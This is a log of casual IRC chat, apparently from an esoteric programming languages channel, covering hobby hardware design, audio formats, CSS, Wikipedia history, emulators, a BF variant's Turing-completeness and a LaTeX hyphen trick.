00:10:43 <zzo38> ais523: And the BIOS design, too. (For example, only the BIOS can access the hard drive and optical drive.)
00:11:22 <zzo38> I will not do the hardware mostly myself; that will be done by other people, according to my advice, and I will write the software myself though.
00:12:04 <zzo38> (I will include full specifications of all hardware and software in the manual so that anyone can build a clone)
00:14:09 <nortti> zzo38: I am thinkig of building my own computer with my own RISC instruction set using FPGAs and using a rewrite of my own os for that platform as its os. It will be 16 or 32bit and will have very simple MMU or no MMU at all
00:14:56 <nortti> When I complete specs I will publish them under CC-BY
00:16:11 <zzo38> nortti: I would like to see something like that too. My problem with using FPGAs is lack of free specification.
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00:17:19 <zzo38> (The other thing I will use to make copy protection and DRM and other malware to be less likely, is trademarks.)
00:17:43 <nortti> how are you going to do that?
00:19:20 <zzo38> If they implement the computer or the program wrong, then I can sue them for trademark violation, unless they remove all of my trademarks from their product so that it cannot claim compatibility. Which also mean if later version change so that their DRM stops working, they cannot sue us either, because they cannot ever claim compatibility
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00:23:09 <nortti> My processor design will be bit strange (No virtual memory, MMU will give process access to liner piece of memory with start of range being logical address 0, 2 priviledge levels and supervisor interrupt) because I am going to design it for my os and not the other way around.
00:23:51 <zzo38> Can you make LLVM compile to it?
00:24:51 <nortti> propably. I have only played around with smallc cross compiler targeting beta version virtual machine
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00:31:40 <elliott> "Some purists will tell you to skip FLACs altogether and just buy WAVs. [...] By buying WAVs, you can avoid the potential data loss incurred when the file is compressed into a FLAC. This data loss is rare, but it happens." --Wired, idiots
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00:35:02 <ais523> elliott: FLAC is lossless, right?
00:35:15 <ais523> by the way, did you point out that data's lost turning sound waves into a WAV? (and did anyone else?)
00:35:26 <ais523> /real/ music purists hire an orchestra to perform for them
00:37:35 <elliott> ais523: Yes, FLAC is lossless.
00:50:14 <elliott> "not to get into a whole thing here, but.... zeno's paradox illustrates how any mathematically system of using "squares" to approximate "curves" _always_ has a loss of fidelity. it simply is not "captured perfectly"." -- someone trying to disprove Nyquist's theorem
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00:55:14 <elliott> They later went on to place "information theory" in scare-quotes.
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01:01:30 <elliott> I can't find the original source of three_cut_limes.jpg :(
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01:06:35 <elliott> HELLO WELCOME TO A LAND OF ETERNAL SUFFERING
01:07:21 <zzo38> Yes, FLAC is lossless; but it is still compressed. If you need WAV you can convert FLAC to WAV and get the same thing as if you just buy WAVs originally.
01:07:56 <zzo38> (Assuming all relevant settings are correct)
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01:09:12 <itidus20> I half read that as I can't quite find the original source of ...
01:09:36 <elliott> The only error there is "quite"
01:09:37 <itidus20> and i thought that would be a ridiculous thing to say
01:10:11 <itidus20> like a postman saying, i couldn't quite find the address
01:11:17 <itidus20> or.. this program is not quite a halting program
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01:14:25 <zzo38> Can you play Double or Nothing in Wheel of Fortune?
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01:57:51 <ais523> observation: webcomics often make the "next" link on the most recent comic a link to the top of the page
01:58:12 <ais523> theory: because it makes something interesting happen so you know you clicked the link, yet it leaves you on the same page so you know there aren't any more
01:58:17 <ais523> question: why not just gray it out?
01:59:16 <elliott> ais523: answer: styling consistency, ease of coding
01:59:28 <elliott> )styling consistency: consider that it is the "a" element that is styled, and often has padding etc.)
01:59:52 <ais523> right, you'd have to have a div that acted like an a
02:00:01 <ais523> hmm, couldn't you make it an a element but just not hyperlink it anywhere?
02:00:10 <elliott> since it's an unsemantic use of a
02:00:19 <elliott> also, you'd still get hover styling
02:00:22 <elliott> which you explicitly wouldn't want
02:00:33 <elliott> because it'd look like a link
02:01:01 <zzo38> <A> is for anchors as well, not only for hyperlinks
02:01:06 <ais523> well, we've already established we're overriding the color
02:01:40 <elliott> zzo38: yep, but the next link wouldn't be an anchor
02:01:43 <ais523> hmm, :visited can only override color nowadays, but :hover can override arbitrary properties (I've seen a site that makes links init-caps when you hover them, and lowercase otherwise)
02:02:00 <elliott> :visited can override more than colour
02:02:04 <ais523> in that case, couldn't you do a pure-CSS analytics thing that figured out where the person was putting their mouse?
02:02:05 <elliott> background, underline, etc.
02:02:18 <elliott> ais523: probably, but what would it give you?
02:02:23 <ais523> elliott: not any more, there were people using :visited to get information about their visitor's previous sites
02:02:35 <elliott> hover over a link on Wikipedia sometime
02:02:52 <ais523> so it's only properties that don't change metrics, I guess
02:02:59 <elliott> well, it's more limited than even that, there's a list
02:03:01 <zzo38> elliott: Using what skin? Probably it depend what skin
02:03:03 <elliott> but it includes more than just colour
02:03:08 <elliott> zzo38: the default, or monobook
02:04:36 <zzo38> I think there should be a mode to tell it not to load any CSS commands that tell it to load a file, at all.
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02:11:05 <elliott> ais523: how's the @ implementation of feather? :P
02:11:29 <monqy> how's the feather imlementation of @!!!
02:11:30 <elliott> Friendship: It's implemented, just waiting on ais523 for Feather.
02:11:40 <elliott> monqy: Um obviously that's what @ is written in.
02:11:45 <elliott> I need the @ implementation of Feather so I can run it.
02:13:52 <elliott> ais523: wow, Esperanza had over 5000 subpages?
02:14:01 * elliott likes to just ask ais523 random questions about Wikipedia.
02:14:45 <ais523> admittedly, that did surprise me when you said it
02:14:49 <ais523> Esperanza really really got out of hand
02:14:58 <elliott> "I think trawling through the deletion log is the only viable method at the moment I can think of, but I don't expect the deletion period to stretch to over two to three days. (~ 5000-10000 records)"
02:15:05 <elliott> I interpreted the number of records as the number of deletion log records
02:15:11 <elliott> but now I just have no idea what it means :)
02:15:32 <ais523> number of edits to esperanza pages before they were deleted
02:15:47 * elliott remembers being vaguely around when Esperanza existed, and then it stopped existing, but I don't remember anything about it.
02:19:25 <ais523> elliott: http://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/Wikipedia:Esperanza is a great but rather long read
02:19:30 <ais523> at least the nomination message
02:20:36 <ais523> the ironic thing is, I'm not sure that an oligarchy is a worse way to run a wiki than the technique used for Wikipedia as a whole
02:21:31 <elliott> ais523: I read the start of that ages ago
02:21:41 <elliott> I just meant I don't remember anything about it from back when it was active, only after-the-fact
02:22:03 <elliott> although I'm still not sure how it managed to be insidious rather than just more pointless bear-ocracy, but that's Wikipedia for you
02:22:03 <ais523> well, it was pretty insular
02:23:22 <ais523> it was basically splitting the community into esperanzans and non-esperanzans
02:25:50 <ais523> the DRV was hilarious, it was about whether the history should be deleted or not
02:26:41 <elliott> yeah, I'm reading that now for some inexplicable reason :P
02:36:11 <elliott> ais523: hey, how do you use IPv4 multicast?
02:36:35 <ais523> I don't know, and am not convinced anyone actually implements it
02:38:13 <ais523> perhaps Wikipedia will know?
02:40:39 <calamari> are there any esolangs that only allow a changing subset of the possible instructions to be used at any one time?
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02:43:46 <elliott> ais523: I read the Wikipedia article but it was long and boring
02:44:34 <ais523> calamari: for a literal "at any one time" that tracks realtime, TMMDLPTOELPAITAFNFAL
02:44:37 <ais523> (I /think/ that's the name)
02:45:06 <ais523> http://esolangs.org/wiki/TMMLPTEALPAITAFNFAL
02:45:09 <calamari> well I was being intentionally vague because I figured there might be multiple ways that someone would do it
02:45:47 <ais523> added a D where there shouldn't be one, added an O where there shouldn't be one, missed an A
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02:46:03 <ais523> I think this is an acceptable amount of misrememberance of such a ridiculous name
02:47:12 <calamari> maybe something like a hunt the wumpus map.. where depending on the instruction used, it moves you to a new room and that gives the new possibilities for that room
02:47:47 <ais523> calamari: oh, for a language that works like /that/, http://esolangs.org/wiki/Taxi, but it's not quite what you're describing
02:50:05 <elliott> calamari: Weird? or Whirl, I forget
02:50:40 <ais523> elliott: wierd is BF-like and 2D, IIRC
02:50:58 <ais523> you're thinking of Whirl, but that's pretty much just an encoding for a BF-like language in terms of 0 and 1
02:51:52 <elliott> well, it was some kind of instructions-change-future-ones things
02:54:09 <elliott> ais523: hey, is there any way to preview some edits to a page without all the editing tools around it? (MediaWiki)
02:54:15 <elliott> "Remember that this is only a preview; your changes have not yet been saved!" etc.
02:54:30 <ais523> elliott: no built-in way, I think
02:54:39 <ais523> you could probably rig something up with JavaScript
02:55:00 * elliott just deletes the chrome elements in the inspector
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02:56:39 <calamari> ais523: yep whirl seems the closest.. not a very interesting implementation, but basically it
02:57:01 <ais523> the problem with whirl is that there's no penalty for changing
02:57:34 <calamari> you mean like the running out of gas thing with taxi?
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03:12:01 <lambdabot> oerjan: You have 2 new messages. '/msg lambdabot @messages' to read them.
03:12:06 <elliott> "I am working on the low-level complicated (almost esoteric) Basic Input/Output Commander"
03:12:09 <lambdabot> elliott said 7h 47m 25s ago: [2007] <oerjan> by using the FingerTree module which implements lazily concatenated sequences
03:12:09 <lambdabot> elliott asked 7h 47m 9s ago: are you sure? "(it is the same as Data.Sequence, but less restricted)" implies not, since Seq is strict
03:12:17 <elliott> I wonder what compels people to put languages they say are non-esoteric on the esoteric prorgamming languages wiki.
03:12:32 <elliott> <elliott> "I am working on the low-level complicated (almost esoteric) Basic Input/Output Commander"
03:13:01 <Sgeo_> Who doesn't love Taxi?
03:13:19 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: what: not found
03:13:27 <Sgeo_> Taxi is THE BEST programming language.
03:13:34 <oerjan> elliott: i think i may have discovered that later. i assume this is about dupdog, and i've been thinking something simpler rope-like might work better.
03:14:07 <elliott> oerjan: yeah, it was dupdog
03:14:30 <elliott> you really want something with really-O(1) reversing and self-concatenation
03:14:44 <oerjan> elliott: for once it's actually morning in most senses for me.
03:16:29 <elliott> oerjan: btw the sitenotice died. rip.
03:16:50 <oerjan> hm i did not notice it ;)
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03:30:15 <pikhq_> Aaaand BSNES hits 100% compatibility.
03:31:28 <Friendship> "runs every /official/ game ever released"
03:31:35 <elliott> pikhq_: wait, does this include satellaview?
03:31:37 <Friendship> So, doesn't run Super Noah's Ark Blaster 3D
03:31:55 <elliott> Friendship: There's no possible way it could run every unofficial game, since tons of them are modern hacks that only work on ZSNES and not a real NES :P
03:32:01 <pikhq_> Friendship: Actually, pretty sure it ought to. What it won't run are many, many ROM hacks.
03:32:22 <pikhq_> And, yes, many ROM hacks don't work on real hardware.
03:33:24 <zzo38> NES is different from SNES so NES emulation work better and modern homebrew softwares for NES are usually tested both on emulators and on the real hardware.
03:34:35 <Friendship> Yes yes, obviously there are things that work on emulators and not real SNESes which it shouldn't run.
03:34:52 <Friendship> There are so many bible games it can't (but probably can) run!
03:37:22 <Friendship> Oh, I didn't realize that bsnes covered NES and GBC too.
03:40:47 <pikhq_> Friendship: Yeah, but it doesn't have full compatibility with those.
03:41:04 <pikhq_> That was just done by byuu for kicks.
03:41:08 <Friendship> pikhq_: The page doesn't indicate that ;)
03:41:25 <pikhq_> I'd imagine he'll be working on those a bit more now.
03:41:50 <pikhq_> Still, much less necessary; IIRC, Nestopia does NES perfectly, and Gambatte does GBC perfectly.
03:43:52 <pikhq_> Also, that Super Noah's Ark Blaster 3D is the only real notable non-licensed game for the SNES.
03:45:37 <Friendship> SO, a blogger for the entirely-incomprehensible blog championofbirds.com emailed me asking me if he could give an interview for the nonsense blog. On the advise of some friends, I decided it would be amusing to accept, if only to see WTF they'd ask. Well, here's the list of questions: http://sprunge.us/bYQT
03:46:35 <elliott> I love the "Shoot Yourself" song, can you tell us about the inspiration for that jingle?
03:46:57 <Friendship> He loves it, but not enough to remember its name.
03:47:25 <elliott> If we give you a hat, will you take a picture of a look that kills with the hat on?
03:47:51 <Friendship> Hey, if I can extort a hat out of random internet people, I'm not going to refuse!
03:48:29 <shachaf> elliott: Remember when everybody said "multimedia"?
03:49:17 <pikhq_> shachaf: Before his time.
03:49:20 <shachaf> A *single* morse code only.
03:50:23 <pikhq_> elliott: You were born, what, 96?
03:50:25 <oerjan> "What's the gnarliest disease or injury you've ever had?" looks like a shoe-in for a certain foot picture which i have managed to avoid
03:50:41 <elliott> Friendship: YES link the foot.
03:50:45 <oerjan> wait, that's shoo-in, isn't it
03:50:46 <Friendship> oerjan: OH MAN I didn't even think of that also the phrase is "shoo-in"
03:50:50 <pikhq_> shachaf: Okay. So, he would've been 5 in 2000.
03:51:03 <Friendship> Although "shoe-in" makes just as much sense by way of "foot in the door," as elliott points out.
03:51:08 <ion> foot-in-mouth disease
03:51:12 <elliott> Friendship: fsvo point out
03:51:14 * shachaf wasn't on the 'net at 5. :-(
03:51:37 <zzo38> Do you think timestamps ought to be signed or unsigned? (In my opinion, they should be unsigned if 32-bits and signed if 64-bits.)
03:51:53 <pikhq_> Then, not many people were in 1995.
03:52:33 * shachaf was barely on the 'net at 2000.
03:52:40 <pikhq_> Think my grandmother was, though...
03:52:51 <pikhq_> Yeah, she would've been by then.
03:53:39 * shachaf also didn't really speak English in 2000.
03:53:43 <ion> zzo38: Signed and of arbitrary size.
03:54:28 <shachaf> The epoch should be in 2012.
03:54:36 <shachaf> Time doesn't really count before there.
03:55:06 * oerjan was on the net in 1992 or was it 1991 neener neener
03:55:38 <zzo38> ion: I think signed 64-bits is sufficient for nearly all uses.
03:56:01 <elliott> that's what they always say
03:56:35 <shachaf> Man, 1992 was a good year.
03:56:44 <zzo38> (In the few cases which it would be insufficient, you can use 128-bits or bignums)
03:56:53 <shachaf> Other than the oerjanember thing.
03:57:25 <pikhq_> I didn't even speak English in 1991.
03:57:39 <pikhq_> (... or any other language)
03:58:35 <shachaf> It is especially difficult to speak a language before you've been born.
03:58:49 <shachaf> It's also pretty tricky after.
03:58:56 <elliott> how is shachaf younger than pikhq
03:59:15 <shachaf> I make no guarantees about being younger than pikhq.
04:00:06 <Friendship> I ... seem to be second oldest in this particular group X_X
04:00:34 * pikhq_ was born March 23, 1990. Take that as thou wilt
04:02:36 * Friendship grabs oerjan's cane and shakes it at all you whippersnappers.
04:03:22 * shachaf is 28 according to elliott.
04:03:38 <ion> Get off my lawn.
04:03:52 <pikhq_> elliott: GEROFF OUR LAWNS
04:04:17 <shachaf> pikhq_: Who knows about reality?
04:04:22 * ion is 28 according to zzo38’s time type.
04:04:46 <shachaf> The World According to Elliott sounds like a dangerous place.
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04:41:59 <zzo38> ion: How does that work, exactly?
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05:17:11 <tswett> You know what. I'm tired of the spec for BBBBBBBBBBBBBB not existing.
05:17:17 <tswett> Someone write it please. That's an order. Thank you.
05:18:30 <Sgeo_> tswett, you should use GoogleChrome OS X as your primary Linux distro.
05:18:41 <Sgeo_> http://susestudio.com/a/LkcUZJ/googlechrome-os-x
05:19:01 <tswett> Oh god it's that horrible trademark violation.
05:19:14 <tswett> IT WILL NOT ESCAPE MY WRATH
05:20:04 <zzo38> tswett: Then you write it please.
05:20:14 <zzo38> (I mean the BBBBBBBBBBBBBB)
05:20:26 <tswett> I order myself not to do it. So there.
05:20:52 <elliott> <tswett> You know what. I'm tired of the spec for BBBBBBBBBBBBBB not existing.
05:21:15 <tswett> It's not very accurate.
05:22:42 <monqy> the qs are bs but they fell a hinge loose
05:23:30 <tswett> No, it's BBBBBBBBBBBBB, not BBBBBBBBBBB.
05:23:46 <tswett> How come those look like they differ by only one or two characters when they actually differ by three...
05:23:55 <monqy> whats qqqqqqqqqqqqq
05:23:57 <tswett> > length "BBBBBBBBBBBBB" - length "BBBBBBBBBBB"
05:24:24 <tswett> But seriously, it's BBBBBBBBBBBBBB, not BBBBBBBBBBBBB or BBBBBBBBBBB.
05:24:57 <tswett> And. BBBBBBBBBBBBBB is a cellular automaton where each cell is in one of five states at any given time.
05:25:21 <monqy> im excited. qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq excites me.
05:26:01 <tswett> The inactive states are ' ', '.', and '_'; the active states are '#' and '@'. ' ' cannot transition to any other state; '.' can only transition to '#' and vice versa; and '_' can only transition to '@' and vice versa.
05:28:17 <tswett> If a cell is '.' or '#' at time n, then it is active at time n+1 if and only if (it was active at time n-1 XOR an odd number of its neighbors are active at time n) is true.
05:28:38 <tswett> For '_' and '@', likewise, except s/an odd number of/at least one of/.
05:28:54 <elliott> you only get the previous state
05:29:06 <tswett> Fine. There are nine states.
05:29:35 <tswett> Oh, come on. WireWorld had three states; BBBBBBBBBBBBBB has only nine.
05:29:36 <monqy> 9 is a lot of states, man
05:29:44 <tswett> Nine is less than three, so BBBBBBBBBBBBBB is better than WW.
05:30:40 <Sgeo_> Let's see if Chrome OS Linux is any better.
05:30:51 <tswett> By the way, it stands for... "Benightment Bicentennial Blastocyte Big Brother
05:31:03 <monqy> there is no e in qqqqqqqqqqqqqqqqqqqqqq
05:32:06 <tswett> "Benightment Bicentennial Blastocyte Big Brother Bearableness Barristering Bacteremic Benzylic Blaze Bilobate Beforehand Bardlike Bimedian".
05:33:04 <tswett> Wait, no. It's not an acronym. It's actually a spelling of the first two bars of the song "Three in the Morning (RJ's I Can Barely Sleep In This Casino Remix)".
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05:33:41 <Sgeo_> Oh look, Chrome OS Linux actually uses Chrom(ium)
05:33:52 <Sgeo_> As opposed to doing something like defaulting with Firefox.
05:34:03 <Sgeo_> I may need to go to the hospital.
05:34:17 <monqy> maybe you should see a doctor about that
05:35:13 <tswett> Sgeo_: say, can you tell me if there's ever an updotch?
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05:54:45 <elliott> ais523: have you ever created an esolang that destroyed the world
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05:55:12 <shachaf> elliott: Esolangs cannot exist in a vacuum.
05:55:40 <ais523> elliott: I don't think so
05:55:47 <ais523> do you think the world still exists?
05:56:31 <shachaf> ais523: Why does elliott hate me?
05:56:51 <ais523> shachaf: you're insufficiently purely functional
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05:57:16 <Sgeo_> Why does CL get called functional?
05:57:23 <elliott> ais523: Well, the International Earth-Destruction Advisory Board lists the current geocide count at 1, so I'm forced to conclude that the world has been destroyed at least once.
05:57:30 <shachaf> I knew I shouldn't have taken those pills.
05:57:37 <ais523> Sgeo_: it has first-class functions
05:57:43 <elliott> In September 2008, apparently.
05:57:50 <elliott> Did you invent any esolangs in September 2008?
05:58:09 <ais523> not sure, you could check Category:2008 for mine
05:58:12 <Sgeo_> Surely Feather was invented at all points in history, so yes.
05:58:38 <elliott> ais523: "Probably"? You don't have that many esolangs.
05:58:59 <shachaf> Little known fact: ais523 is the pseudonym of famous esolang inventor ais524.
05:59:03 <ais523> Sgeo_: no, only all points after it was originally invented
05:59:42 <ais523> elliott: I haven't worked on it for ages
05:59:44 <ais523> and don't plan to in the near future
05:59:49 <oerjan> <Sgeo_> Why does CL get called functional? <-- it's sort of like how you call ancient greece democratic.
06:00:27 <elliott> `addquote <Sgeo_> Why does CL get called functional? <oerjan> it's sort of like how you call ancient greece democratic.
06:00:31 <HackEgo> 819) <Sgeo_> Why does CL get called functional? <oerjan> it's sort of like how you call ancient greece democratic.
06:00:41 <HackEgo> 86) <virtuhird> Sgeo_: Gregorr: and someone could, by mistake, rewrite psox to be a weak erection if it is... A filename. \ 118) <pikhq> And... WTF is it doing. <pikhq> :( <Sgeo_> Is it sexing? \ 335) <Sgeo_> I think she either likes me, is neutral towards me, or dislikes me \ 425) <Sgeo_> "system is fairly sane <Sgeo_> <elliott> imagine if the roomba was called the Robotic Magic Vacuum <Sgeo_> <elliott> would you
06:00:59 <oerjan> Sgeo_: well ok not _all_ of ancient greece, but more than athens
06:01:09 <Sgeo_> `pastequotes Sgeo_
06:01:12 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.32065
06:02:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.25347
06:02:56 <shachaf> elliott: 2008 was 4 years ago. :-(
06:03:26 <monqy> 2008 was 4 years ago :-)
06:03:44 <monqy> 2008 was a bad year and I'm glad it was 4 years ago. if only it was more than 4 years ago :-)
06:05:16 <elliott> monqy: waht was abd about 2008
06:05:48 <monqy> i don't remember i try to forget
06:08:49 <elliott> (that is the symbol of death)
06:20:32 <shachaf> monqy: I prefer "specieste"
06:20:56 <monqy> monqy "not a human, rip"
06:21:14 <shachaf> I always thought monqy was a monqy.
06:21:27 <monqy> who would ever think otherwise
06:21:37 <Sgeo_> I say that exact same line in #jesus and someone goes off on how "should" is sin.
06:21:41 <monqy> I'll have his/her/its head/head-analogue/help
06:21:49 <shachaf> Does monqy have three heads.
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06:25:09 <elliott> Sgeo_: why do you talk to #jesus people
06:25:11 <monqy> 1.5 is enough almost for me
06:25:15 <elliott> they are not yoru friendsnds
06:25:23 <monqy> sgeo still jesuses?
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06:42:48 <ais523> elliott: hey, you edited Burn, this means you need to figure out how it works
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06:44:11 <elliott> find more programs or shit
06:45:18 <ais523> and I know I only ever wrote one
06:45:44 <elliott> find some notes on it or something :P
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06:54:14 <zzo38> "VisualOnly: when set, tells the game engine that this object is there purely for the players enjoyment (visually) and has NO effect on the other objects on the playfield. An object with this flag set will still receive most of the normal messages ... This flag should ONLY be set by an object when it TRULY will never again have any effect upon any other objects on the playfield. Otherwise, the replay feature of Mesh will be broken. ..."
06:55:38 <zzo38> This isn't true; I have tested it. (In my own clone Hmeif, I will probably call it something else; it won't implement animations and stuff that Kaser's engine does, so "VisualOnly" isn't a good name for it)
06:56:06 <zzo38> And there are other uses for such a thing rather than only display.
06:57:15 <itidus21> zzo38: pay me and i will get drunk and acquianted with whores. pay me not and i shall slumber and brew mead from the potatos i buried in my garden.. alas i don't know how you can garner my help
06:57:56 <zzo38> itidus21: Unless I intend to purchase something from you, I do not intend to pay you.
06:59:33 <itidus21> but what are you describing just now?
06:59:53 * itidus21 . o O ( idiot tidus just google the quote )
07:00:11 <zzo38> As far as I know it isn't a webpage; I found the text in a Windows help file.
07:00:20 <zzo38> (The old non-HTML style)
07:01:55 <zzo38> In the Mesh engine, animation can break replayability, and object references are simply machine pointers (the only datatype is unsigned 32-bit integers) so this can cause GPF as well. I intend Hmeif to do differently; being cross-platform, and having four datatypes instead of just one.
07:02:30 <zzo38> * 32-bit unsigned integer * class ID * message ID * object reference
07:03:09 <zzo38> (In level editor, there shall be no "object reference" type; instead there is "string" type, which is converted to the 32-bit unsigned integer type at runtime.)
07:03:27 <itidus21> wow i see your levels on the page
07:03:44 <zzo38> Those aren't very good I make new levels and pieces is better.
07:04:26 <zzo38> I did look at the file and the level format seems easy enough to convert to my new program. Classes could be partially converted using the exported ASCII format.
07:05:15 <itidus21> do you think the interesting-ness of a game engine's level format is inverse to the level of documentation of said format?
07:05:26 <zzo38> I intend to improve some things, such as supporting global functions; and deliberately remove some things, such as Animate() and Level and so on.
07:05:47 <zzo38> itidus21: I don't know. But I do know the Mesh engine documentation does contain some errors and I know how they really work.
07:06:06 <itidus21> like if the documentation is too thorough and spoon-fed then the whole exercize of reading it may seem boring
07:08:01 <zzo38> My own one will be licensed under GPL and written in CWEB, so you can refer to the printout of the program to understand the internal code structure. (Mesh engine's documentation of internal code structure is not as well written as TeX's internal code documentation, for instance)
07:11:15 <zzo38> There are other strange things in the compiler: Things such as "MsgFrom.Misc3" is considered a read-only variable even though it isn't; and "Move(Self, DirNW)" and so on seems to compile to a single instruction which acts differently than "Move(Self, x)" does (the former *adds* the Strength to the Inertia instead of setting the Inertia to the Strength).
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07:39:36 <oerjan> yay my automatic (finite cell) bf to qdeql translator seems to be working
07:39:56 <oerjan> well on the examples i already constructed by hand, anyway
07:40:31 <oerjan> *finite number of cells
07:40:44 <oerjan> the cells themselves are unbounded, that's sort of the point
07:43:43 <oerjan> (http://oerjan.nvg.org/esoteric/qdeql/BFQdeql.hs is the program so far)
07:45:08 <oerjan> (http://oerjan.nvg.org/esoteric/qdeql/ contains some example output (starting with gen))
07:54:51 <fizzie> You should try to get some sort of OerjansTerriblePuns GHC extension done.
07:58:04 <fizzie> NamedFieldPuns. There's precedent.
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09:20:23 <zzo38> The Mesh engine says nothing about changing the Inertia during a move, but it does work. The documentation also says the bit 15 of the return value of MSG_HIT and MSG_HITBY are "reserved, must be set to 0" but actually it does have a meaning, which is to retry the move (but maybe not for diagonal moves).
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09:42:04 <itidus20> zzo38: Is Hmeif something you're making similar to mesh?
09:43:33 <itidus20> ok you did say above its a clone... but anyway.. ---
09:44:54 <zzo38> Yes, something similar. Using SDL. And most of the same features, but with a few things added and a few things removed.
09:48:27 <zzo38> But I intend nearly all existing Hero Mesh puzzles (except ones breaking replayability) to work once they have been converted. (The Hero Mesh level format looks simple enough that I can convert it, although it does some things such as store numbers longer than it needs to.)
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09:58:39 <ais523> btw, I disagree with the topic, in that I believe a language can be sub-TC but still useful
10:01:34 <kmc> yes, for example Python with a rule that no program can run more than 10 years would still be a useful language
10:02:48 <itidus20> does useful mean that you can produce mathematical proofs with it? :D
10:03:59 <itidus20> for example.. in brainfuck.. you could write hello world with just + and .
10:04:32 <ais523> useful means it has a use
10:04:45 <ais523> e.g. +. BF is inferior in pretty much every way to, say, uuencoded text
10:04:58 <ais523> which means that it's not that useful
10:05:37 <itidus20> its so easy to think of useless things
10:06:20 <kmc> of course in reality our programs run on machines with finite storage
10:06:55 <itidus20> but it is difficult to think of things which aren't boring
10:07:12 <kmc> so each language implementation is not turing complete, even if the abstract languages are
10:07:52 <itidus20> like a dinosaur with a head, a cat with a crayon, an X with a Y, a cat with a cat, a face with a mole.. detonates
10:08:02 <shachaf> The abstract language C isn't Turing-complete, is it?
10:13:37 <Sgeo_> destructuring-case makes me feel less sad about investigating Common Lisp
10:14:44 <ais523> shachaf: I think it's a push-down automaton, and TC if you're allowed to use files
10:15:33 <ais523> (push-down automaton can be done using register auto variables in a recursive function which contains no non-register auto variables or non-register parameters; because you can't take a pointer to them, there's nothing preventing you having an infinite number of stack frames)
10:15:34 <shachaf> ais523: There's still a maximum path length, isn't there?
10:15:44 <ais523> you can store infinite data in one file
10:16:11 <shachaf> Oh, by using relative seeks.
10:16:21 <ais523> or just absolute seeks to 0 each time
10:16:30 <itidus20> i can't even comprehend how everyone here knows so much about these things
10:16:33 <ais523> hmm, not sure about that one, actually
10:16:40 <ais523> might be worth creating a simple esolang to test that
10:16:44 <itidus20> i mean literally can't fathom it..
10:17:22 <ais523> let's make it a BF derivative to annoy Phantom_Hoover
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10:17:34 <fizzie> ais523: I don't think anyone really "agrees" with the topic; that's why it is the topic.
10:17:36 <ais523> let's see… identical to BF, apart from instead of moving one space left, < moves to the start of the tape
10:17:46 <itidus20> how does one organize ones thoughts in such a way as to learn so effectively
10:17:59 <ais523> itidus20: have you ever tried to write esoprograms?
10:18:03 <ais523> not languages, programs in them
10:18:53 <itidus20> no and neither. but uhhh maybe i should say it this way.. you're knowledgable in some field
10:19:01 <itidus20> maybe not from your perspective...
10:19:18 <itidus20> but it is as if you are rich with knowledge of these things
10:20:00 <itidus20> as if you collect these facts as readily as X collects a lot of Y
10:20:27 <itidus20> i guess the other question is have you plateud?
10:20:36 <ais523> anyway, I find esoprogramming more useful for learning about esolangs than esolang development
10:20:46 <itidus20> has everyone here more or less reached a plateau... or is it all very vital and healthy
10:21:54 <ais523> I have new insights less often than I used to
10:22:00 <ais523> but it sill happens occasionally
10:22:58 <ais523> I think back-to-start-< BF is TC, actually; you can store two counters in unary on the tape with 1s, separated by a 0, and increment, decrement, and zero-test them independently
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10:23:46 <itidus20> not trying to be depressing. i guess im looking for the grim reality side of things.. since nothing is all ideal and perfect all of the time
10:25:28 <itidus20> among some of my favorite plans is a plan to create my own construced natural language and use it to think to myself
10:26:16 <ais523> that's quite ambitious
10:26:21 <itidus20> when i think about this it occurs to me that no matter what natural language i think up.. it will still be possible for me to convert it back to english
10:26:21 <ais523> are you sure you think in a language at all, though
10:26:32 <ais523> I'm pretty certain I don't think in English
10:26:38 <ais523> I can convert my thoughts into English, e.g. to type them
10:26:57 <ais523> but occasionally I'll start writing a sentence and then realise I don't know all the words in it in English, and get stuck
10:27:10 <itidus20> so.. it all seems pointless if all natural languages are isomorphic
10:27:22 <fizzie> ais523: How do you decrement the counter?
10:27:43 <ais523> [>]+>-[>]- for the first counter
10:27:49 <ais523> [>]>[>]- for the second counter
10:28:02 <ais523> (this is starting from the first cell, obviously)
10:28:17 <ais523> no, that makes no sense
10:28:18 <itidus20> but... at the same time i am incredibly biased about english since i have never known any other language.
10:28:45 <itidus20> the whole point is to become more powerful via a new language
10:28:55 <fizzie> ais523: When you've [>]'d to the separating zero, it sounds like it'd be slightly too late to decrement any more.
10:28:56 <ais523> fizzie: I guess you need three cuonters
10:29:11 <ais523> and you always increment at the end and decrement at the start
10:29:40 <itidus20> the point of making my own language is similar to how nostalgia works
10:29:49 <ais523> then, you have (increment first+decrement second), (increment second+decrement third), (increment third)
10:29:55 <ais523> which gives you complete control over the second and third counters
10:30:03 <ais523> and the first is just junk
10:30:12 <itidus20> like.. if some kid decided to simulate table tennis today and made pong.. noone would care.. it wouldn't be a big seller
10:30:34 <itidus20> but the nostalgic and historic value attached to pong encourages people to clone it again and again
10:30:54 <ais523> and it still isn't a big seller
10:31:11 <itidus20> and in this way... if i create my own conlang... it will have value for me because i made it
10:31:38 <itidus20> even though it wouldn't be better than a conlang anyone else made
10:38:31 <itidus20> all in all i have no idea what avenues it could open up for my thinking
10:38:52 <ais523> hey, anyone here know how you write a literal hyphen in math mode in LaTeX?
10:38:56 <ais523> or even a literal n-dash would be good
10:39:01 <ais523> neither \- nor -- works
10:40:16 <fizzie> You can put any "regular text" in an \mbox{} if that's what you want.
10:40:25 <fizzie> It'll be typeset by the "surrounding text" font and so on.
10:40:34 <ais523> I want it inside a mathsf, really
10:40:41 <ais523> textsf, sadly, is not a text-mode version of mathsf
10:41:04 <ais523> and all the predecessor papers have been naughty and used mathsf for things that are supposed to be interpreted as a single word, not a long multiplication
10:42:22 <ais523> oh wow, I found it with a search, it's nontrivial
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10:43:24 <ais523> you have to define an escaped-hyphen thing yourself
10:43:43 <ais523> http://www.logic.at/staff/salzer/etc/mhyphen/ recommends \mathchardef\mhyphen="2D (and it seems to work)
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10:44:38 <fizzie> Amsmath also has a \text{x} that works in math mode and adjusts at least the font size, not sure if it adjusts the family though.
10:46:13 <fizzie> Can't say I can really tell the difference in a hyphen.
10:46:31 <fizzie> A dash is a dash is a dash.
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13:17:40 * Phantom_Hoover is getting very sceptical of lutusp's views on economics.
